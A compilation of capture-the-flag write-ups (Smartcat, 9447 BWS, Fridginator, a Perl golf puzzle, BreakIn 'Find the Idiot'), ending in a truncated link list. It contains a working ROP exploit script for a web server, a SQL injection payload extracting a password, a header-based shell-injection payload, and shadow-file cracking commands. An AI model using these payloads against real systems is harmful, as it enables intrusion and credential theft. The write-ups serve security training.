./there/is/your/flag/or/maybe/not/what/do/you ./there/is/your/flag/or/maybe/not/what/do/you/think ./there/is/your/flag/or/maybe/not/what/do/you/think/really ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the ./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag We call: `cat<./there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the/flag` and get flag: `INS{warm_kitty_smelly_kitty_flush_flush_flush}` #### Smartcat2-eng Second part is more difficult, since we task suggests we need to get the flag using something in `/home/smartcat/` dir and that we will need a shell for that.After some work we notice that we can create files in `/tmp`.We can also call shellscripts by `sh<scrupt.sh`, but we still didn't know how to place data we want inside the file.Finally we figured that there are some environmental variables that we can set - http headers.In particular we can set `user-agent` to any value we want.We can then list those variables by `env` and save result of this operation to a file in `/tmp` and then run with `sh</tmp/ourfile`. First attempt containing: `a; echo "koty" >/tmp/msm123; a` was successful. Therefore, we could execute any code, including using `nc` or `python` to set a reverse-shell. Instead we started with listing `/home/smartcat/` directory, finding `readflag` binary, which requires us to execute it, wait few seconds and then send some message to get the flag.Instead of the shell we simply sent a script which was doing exactly what `readflag` wanted and we got: Flag: ___ .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| hjw "----^----" `INS{shells_are _way_better_than_cats}`
#9447-2015-CTF BWS This challenge was the second part of the YWS challenge where a custom web server was hosting a website. From YMS, we found that there was a directory traversal bug that allowed us to list the files in the root directory. We could see that the root directory contained what appeared to be the flag.txt file we needed to read. Sending a request for something that doesn't exist returns "Could not find \<Input\>". Attempting to retrieve the flag with "GET /../flag.txt HTTP/1.1" does not return anything from the server. To get a better understanding of what is happening we open up the binary in IDA Pro. We locate the function responsible for handling the request at address 0x400D00. During the parsing of the request the function attempts to sanitize any requests that contain a "../" by rewinding the buffer to the first "/" before these characters. If one does not exist in the buffer, a buffer underflow occurs because the routine attempts to find a "/" anywhere in on the stack at a lower memory address. With a little trial and error, we realize if we send an intial request that contains a "\", then when we send a second request with the "../" trigger, the "\" from the first request will still be in memory at lower address and cause memory corruption that will overwrite the current function return address. At this point, we just need to determine the protections on the binary so we can begin constructing a proper payload. ```gdb-peda$ peda checksec CANARY : ENABLEDFORTIFY : ENABLEDNX : ENABLEDPIE : disabledRELRO : Partial``` Since DEP is enabled, we need to create a ROP chain that will allow us to read our flag. We also need to pivot our stack since we are in the filename parsing section of the HTTP request and are unable to use NULL bytes here. Luckily we found a gadget at 0x400f39 that will work. ```add rsp, 1A8hretn``` Now that we've pivoted our stack, we begin thinking of the best way to read our flag and send it across the socket. Fortunately, the binary already provides this functionality. Starting at address 40115E, the binary passes rsp to read_file which is the path to the file to read and send back. ```.text:000000000040115E mov edx, 10000h ; a3.text:0000000000401163 mov esi, offset file_buf ; a2.text:0000000000401168 mov rdi, rsp ; a1.text:000000000040116B call read_file.text:0000000000401170 test eax, eax.text:0000000000401172 js short loc_4011C0.text:0000000000401174 xor esi, esi.text:0000000000401176 mov edx, offset file_buf.text:000000000040117B test ebp, ebp.text:000000000040117D cmovz rsi, rdx ; a2.text:0000000000401181 mov edi, offset a200Ok ; "200 OK".text:0000000000401186 mov edx, eax ; a3.text:0000000000401188 call send_response``` Putting it all together we come up with the following script ```#!/usr/bin/pythonimport socketimport sysfrom pwn import * if len (sys.argv) == 3: (progname, host, port) = sys.argv else: print len (sys.argv) print 'Usage: {0} host port'.format (sys.argv[0]) exit (1) csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) raw_input() data = "GET /"data += "A"*253data += "// HTTP/1.1"data += "\x0d\x0a"data += "\x0d\x0a" csock.send(data) print csock.recv(8192) payload = struct.pack( "Q", 0x40115E)payload += "/../flag.txt\x00" data = "GET /../"data += "c" * 20data += struct.pack("I",0x400f39)[:-1] data += " HTTP/1.1"data += "\x0d\x0a" data += "B" * 78data += payload data += "\x0d\x0a"data += "\x0d\x0a" csock.send(data) print csock.recv(8192) csock.close()``` Running our script we get```Flag: 9447{1_h0pe_you_L1ked_our_w3b_p4ge}```
# Writeup for fridginator > Solves: 52> > Fridginator 10k - Web/Crypto - 200 pts - realized by clZ My brother John just bought this high-tech fridge which is all flashy and stuff, but has also added some kind of security mechanism which means I can't steal his food anymore... I'm not sure I can survive much longer without his amazing yoghurts. Can you find a way to steal them for me? [The fridge is here](http://fridge.insomnihack.ch/) ### ENG When we visit the site for the first time, login form with link to a register site can be seen.After creating an account and logging into it, one can see: ![Screenshot_3.png](Screenshot_3.png) When we try to search `Johns Yoghurt` and take it from the fridge, we got the info, that we are not allowed. ![Screenshot_4.png](Screenshot_4.png)![Screenshot_5.png](Screenshot_5.png) Any attempt to search (either for user or object) takes us on a URL of following format:`http://fridge.insomnihack.ch/search/ many_hex_digits /`for example:`http://fridge.insomnihack.ch/search/67d4b8f78c33d07cbdc7293b9cd93b8f37231e5001982893f5c3a6494d14bbba/` We figured out, that the query must be encoded to these many_hex_digits, because: * The consecutive searches for the same string give the same encoded text, so it is not a hash of *search results*. * The longer the search term is, the longer the `many_hex_digits` section is. After several attempts to send queries, we agreed that one 32 length hash block consists of a maximum 16 chars. Coding looks as follows: `[prefix][our query][suffix]`. `[prefix]` has 7 chars. `[suffix]`, depending on whether we search users or products, has 11 or 13 chars. At first sight `[prefix]` seemed like `search=`, so we checked it. Good guess! The next thing - `[suffix]` must have information about the table we search in. We wrote a small semi-auto python script [brute.py](brute.py), which helped us to know suffix letter by letter. For products suffix looked as `|type=object%01` (`%01` in hex ascii is in fact single char, representing `Start of Heading` character). Next, we fill the 1. block to 16 chars, remembering that `search=` consume 7 chars- so we must add 9 random (any) chars. After that we must send our query, which must have increments of 16 chars, so it doesn't mix with suffix block. Then we have to get rid of first and last block of hash, which are completely not interesting. We need to copy only middle blocks, and paste them in the url `http://fridge.insomnihack.ch/search/ HERE /`. Trying various queries, we agreed that the real database query looks like: `SELECT * FROM objsearch_X WHERE description LIKE ?` X was a value from `type=`, which has not been filtered and could have injected our prepared query. We created a query, which returns password of John, thanks to the fact that query have sql injection vulnerability. `aaaaaaaaasearch=%%%%%%%%%%%%%%|type=object union select '5' as description, '1', (SELECT password FROM objsearch_user WHERE username ="John"), '3', '4' %01` Returned hash looked like:`5616962f8384b4f8850d8cd1c0adce98428072146d4f6e8cab3f5da04aecd14f4cd1be3e4e45844001c98397c8907136d85f1f4a5b5cf842c6a77e3eb42ad1b1d213bf36bb7a28f0a4162cdbbaf2384c58ffeeeefa2f0d7a37dea5ddbc39f008028cb773e1d9f162d3ab47c414cf441834ee8034b0799f5513e4bcaa777c29bbde35ba503c28f25be7860e4e6478924c8749a3e9bbbdd48c39aa45a0cd6c90a1d9cc5ea47c14d6fb630320a5dfa0bbca` We removed first and last block (remember- 32 chars per block), which contain unnecessary prefix and suffix, and finally we got the following hash: `428072146d4f6e8cab3f5da04aecd14f4cd1be3e4e45844001c98397c8907136d85f1f4a5b5cf842c6a77e3eb42ad1b1d213bf36bb7a28f0a4162cdbbaf2384c58ffeeeefa2f0d7a37dea5ddbc39f008028cb773e1d9f162d3ab47c414cf441834ee8034b0799f5513e4bcaa777c29bbde35ba503c28f25be7860e4e6478924c8749a3e9bbbdd48c39aa45a0cd6c90a1` And real sql query looked like: `SELECT * FROM objsearch_object UNION SELECT '1' AS description, '2', (SELECT password FROM objsearch_user WHERE username ="John"), '4', '5' WHERE description LIKE %%%%%%%%%%%%%%` We got a search result, which contained all products (`SELECT * FROM objsearch_object`), plus one extra- the John's password in plaintext (`SELECT '1' AS description, '2', (SELECT password FROM objsearch_user WHERE username ="John"), '4', '5' WHERE description LIKE %%%%%%%%%%%%%%`). Finally, we logged into the account of John, took his yoghurt from the fridge, and got the flag. ### PLStrona przy powitaniu zawierała dwa formularze, jeden do rejestracji, drugi do logowania. Po utworzeniu konta i zalogowaniu, pokazywał się następujący widok: ![Screenshot_3.png](Screenshot_3.png) Przy próbie wyszukania jogurtu Johna i wzięcia go z lodówki, niestety dostawaliśmy informację, że nie jesteśmy uprawnieni do zabrania jego rzeczy. ![Screenshot_4.png](Screenshot_4.png)![Screenshot_5.png](Screenshot_5.png) Każda próba wyszukiwania przenosiła nas na url, przykładowo taki:`http://fridge.insomnihack.ch/search/67d4b8f78c33d07cbdc7293b9cd93b8f37231e5001982893f5c3a6494d14bbba/` Stwierdziliśmy, że to czego wyszukujemy jest kodowane, następnie przeniesieni zostajemy na podstronę z wygenerowanym i zakodowanym w url zapytaniem. Musi tam więc nastąpić dekodowanie hasha z url, a następnie wyszukiwanie na podstawie zdekodowanych wartości. Po kilku próbach wysyłania zapytań, ustaliliśmy, że na jeden 32 znakowy blok hasha, składa się maksymalnie 16 znaków. A także, że kodowanie wygląda następująco.[przedrostek][nasze zapytanie][przyrostek]. Ustaliliśmy również, że [przedrostek] składa się z 7 znaków. A [przyrostek], zależnie od tego czy wyszukujemy użytkowników, czy produktów, z 11 lub 13 znaków. [przedrostek] wyglądał nam od razu na wartość `search=` sprawdziliśmy i zgadzało się. [przyrostek] musiał posiadać informację w jakiej tabeli następuje wyszukiwanie. Napisalismy mały półautomatyczny skrypt [brute.py](brute.py), który pomógł nam litera po literze poznać wartość przyrostka, dla produktów wyglądał następująco `|type=object%01` (%01 to oczywiście 1 znak Start of Heading po zdekodowaniu). Pozostało nam więc zapełnić 1. blok znaków do 16 liter, czyli pamiętając, że 7 znaków pochłonie `search=` przesłać 9 dowolnych znaków. Następnie przesłać nasz kod, który chcemy wykonać, który musiał mieć długość równą wielokrotności liczby 16, aby nie pomieszać się z blokiem przyrostka. Wygenerowany hash miał więc pierwszy blok który nas kompletnie nie interesował i ostatni blok, który również nas nie interesował. Skopiować należało hashe ze środkowych bloków i podstawić pod url `http://fridge.insomnihack.ch/search/...` Próbując różnych zapytań ustaliliśmy, że zapytanie do bazy wygląda następująco: `SELECT * FROM objsearch_X WHERE description LIKE ?` X było wartością z `type=`, która nie była filtrowana i mogliśmy tam wstrzyknąć nasze spreparowane zapytanie. Stworzyliśmy więc zapytanie, które dzięki podatności na sqlinjection zwracało nam hasło Johna: `aaaaaaaaasearch=%%%%%%%%%%%%%%|type=object union select '5' as description, '1', (SELECT password FROM objsearch_user WHERE username ="John"), '3', '4' %01` zwrócony hash wyglądał następująco: `5616962f8384b4f8850d8cd1c0adce98428072146d4f6e8cab3f5da04aecd14f4cd1be3e4e45844001c98397c8907136d85f1f4a5b5cf842c6a77e3eb42ad1b1d213bf36bb7a28f0a4162cdbbaf2384c58ffeeeefa2f0d7a37dea5ddbc39f008028cb773e1d9f162d3ab47c414cf441834ee8034b0799f5513e4bcaa777c29bbde35ba503c28f25be7860e4e6478924c8749a3e9bbbdd48c39aa45a0cd6c90a1d9cc5ea47c14d6fb630320a5dfa0bbca` wycięliśmy pierwszy i ostatni blok, które wszystko psują swoim przed i przyrostkami, więc wynikowo hash wyglądał tak: `428072146d4f6e8cab3f5da04aecd14f4cd1be3e4e45844001c98397c8907136d85f1f4a5b5cf842c6a77e3eb42ad1b1d213bf36bb7a28f0a4162cdbbaf2384c58ffeeeefa2f0d7a37dea5ddbc39f008028cb773e1d9f162d3ab47c414cf441834ee8034b0799f5513e4bcaa777c29bbde35ba503c28f25be7860e4e6478924c8749a3e9bbbdd48c39aa45a0cd6c90a1` A zapytanie do bazy wyglądało rzeczywiście tak: `SELECT * FROM objsearch_object UNION SELECT '1' AS description, '2', (SELECT password FROM objsearch_user WHERE username ="John"), '4', '5' WHERE description LIKE %%%%%%%%%%%%%%` Dostaliśmy dzięki temu wynik zawierający wszystkie produkty (`SELECT * FROM objsearch_object`), a także jeden dodatkowy wpis zawierający hasło Johna w plaintext (`SELECT '1' AS description, '2', (SELECT password FROM objsearch_user WHERE username ="John"), '4', '5' WHERE description LIKE %%%%%%%%%%%%%%`). Następnie zalogowaliśmy się na konto Johna, wzięliśmy z lodówki jogurt i dostaliśmy flagę.
# Perl Golf ## Problem Johnny B. Krad from your local schoolyard gang thinks that you are a poser! The stuff you solved until now was just luck. He bets that you are not able to beat him in Perl golf. [Link](https://school.fluxfingers.net:1521/golf/perl/) ## Solution Credit: [@emedvedev](https://github.com/emedvedev) The link contains our golf challenge: > Write a Perl program that takes a parameter as input and outputs a filtered version with alternating upper/lower case letters of the (english) alphabet. Non-letter characters have to be printed but otherwise ignored.>> - You have 1 second.> - You have 45 (ASCII) chars.> - Do not flood the server.>> ```> Input Hello World! Hallo Welt!> Output HeLlO wOrLd! HaLlO wElT!> ``` Let's start by looking at the parts we can't get rid of. The obvious way to solve it in Perl is a regular expression substitution: - `@ARGV[0]` (8 chars): for reading input- `print` (5 chars): to writing output- `=~s/*/*/r*` (7 chars): shortest regex replacement syntax I can think of Now our code looks like this (and apparently can be reduced even further, but I'm not a codegolf pro: ```print@ARGV[0]=~s/<expr>/<replace>/r<modifiers>``` We have 25 chars left for the expression, replacement code and modifiers. Perl can evaluate the replacement side as an expression with a modifier `e`, so let's use that: we'll match every letter with `\pL` (which is an alias for `\p{Letter}`), increment a switcher variable and alternate uppercase/lowercase with `%2` to get a working solution: ```print@ARGV[0]=~s/(\pL)/++$c%2?uc$1:lc$1/ger``` 43 chars! Here's an explanation: ```print@ARGV[0]=~s/(\pL)/++$c%2?uc$1:lc$1/ger print@ARGV[0]=~s/ / / # print the input pattern-replaced by an expression (\pL) # match every letter ++$c # increment a counter %2? # if the counter is even uc$1 # convert our match to upper case : # else lc$1 # convert the match to lower case g # match globally e # evaluate right part as an expression r # return the value instead of storing it``` That's already enough to get the flag, but some teams took it even further, with the shortest solution I've seen being 34 chars long. Let's try to shorten our solution further by using some Perl trickery I wasn't aware of when originally solving the challenge: - use ` pop` instead of `@ARGV[0]` (saving 4 chars)- use `$&` to get the whole regex match and getting rid of parentheses (saving 2 chars) We get 37 chars: ```print pop=~s/\pL/++$c%2?uc$&:lc$&/ger``` We can also make use of the fact that XOR 32 changes case in ASCII. Now, instead of incrementing the counter, we'll XOR it by 32 (`$"` is a Perl alias for space which is, in turn, ASCII 32), and then XOR it with the match converted to lowercase. 35 chars: ```print pop=~s/\pL/$c^=$";lc$&^$c/ger``` We just pulled a Tiger Woods right there. Now let's get it down to 34 chars: we'll define and use our counter in the same expression: ```print pop=~s/\pL/($c^=$")^lc$&/ger``` Congratulations!
__BreakIn 2016 :: Find the Idiot__================================== _John Hammond_ | _Sunday, January 24, 2016_ > Honestly I do not have the challenge prompt or description. I will try to add it the moment I am able to retrieve it (it is currently not online). ---------- This challenge was really open-ended, but I'm glad we were able to solve it as quickly as we did. We were given "[this zip file](find_the_idiot.zip)", which would extract to what looked like a full-fledged [Linux] filesystem. It looked like we had access to all the files... even [the sensitive ones](http://www.linuxtopia.org/online_books/linux_administrators_security_guide/06_Linux_File_System_and_File_Security.html#Critical_system_configuration_files). Just for completeness, we ran through everything in the `/home` directory and for all the users' [home directory], to see if there was anything interesting: but there was nothing. So, we took the good stuff. We could read `/etc/passwd` and even `/etc/shadow`, so we had the hashes for all the user passwords listed. Might as well throw them at [`john`][john], right? :) First we had to "unshadow" the files; so I put them in a temporary directory for me to work with, and ran this command to "unshadow" them. ```$ unshadow passwd shadow > use_these``` Next, I gave [`john`][john] his usual wordlist and let him go at it. After about thirty seconds, he got a password. ```$ john --wordlist=~/cyberteam/tools/dictionary_files/john.txt useLoaded 7 password hashes with 7 different salts (crypt, generic crypt(3) [?/64])Press 'q' or Ctrl-C to abort, almost any other key for statusdragon1 (gohan)``` Looks like the user `gohan`'s password is `dragon1`. I tried to submit that as the flag... and got it! __The flag is `dragon1`.__ [netcat]: https://en.wikipedia.org/wiki/Netcat[Wikipedia]: https://www.wikipedia.org/[Linux]: https://www.linux.com/[man page]: https://en.wikipedia.org/wiki/Man_page[PuTTY]: http://www.putty.org/[ssh]: https://en.wikipedia.org/wiki/Secure_Shell[Windows]: http://www.microsoft.com/en-us/windows[virtual machine]: https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[zip files]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[PicoCTF 2014]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[compile]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: 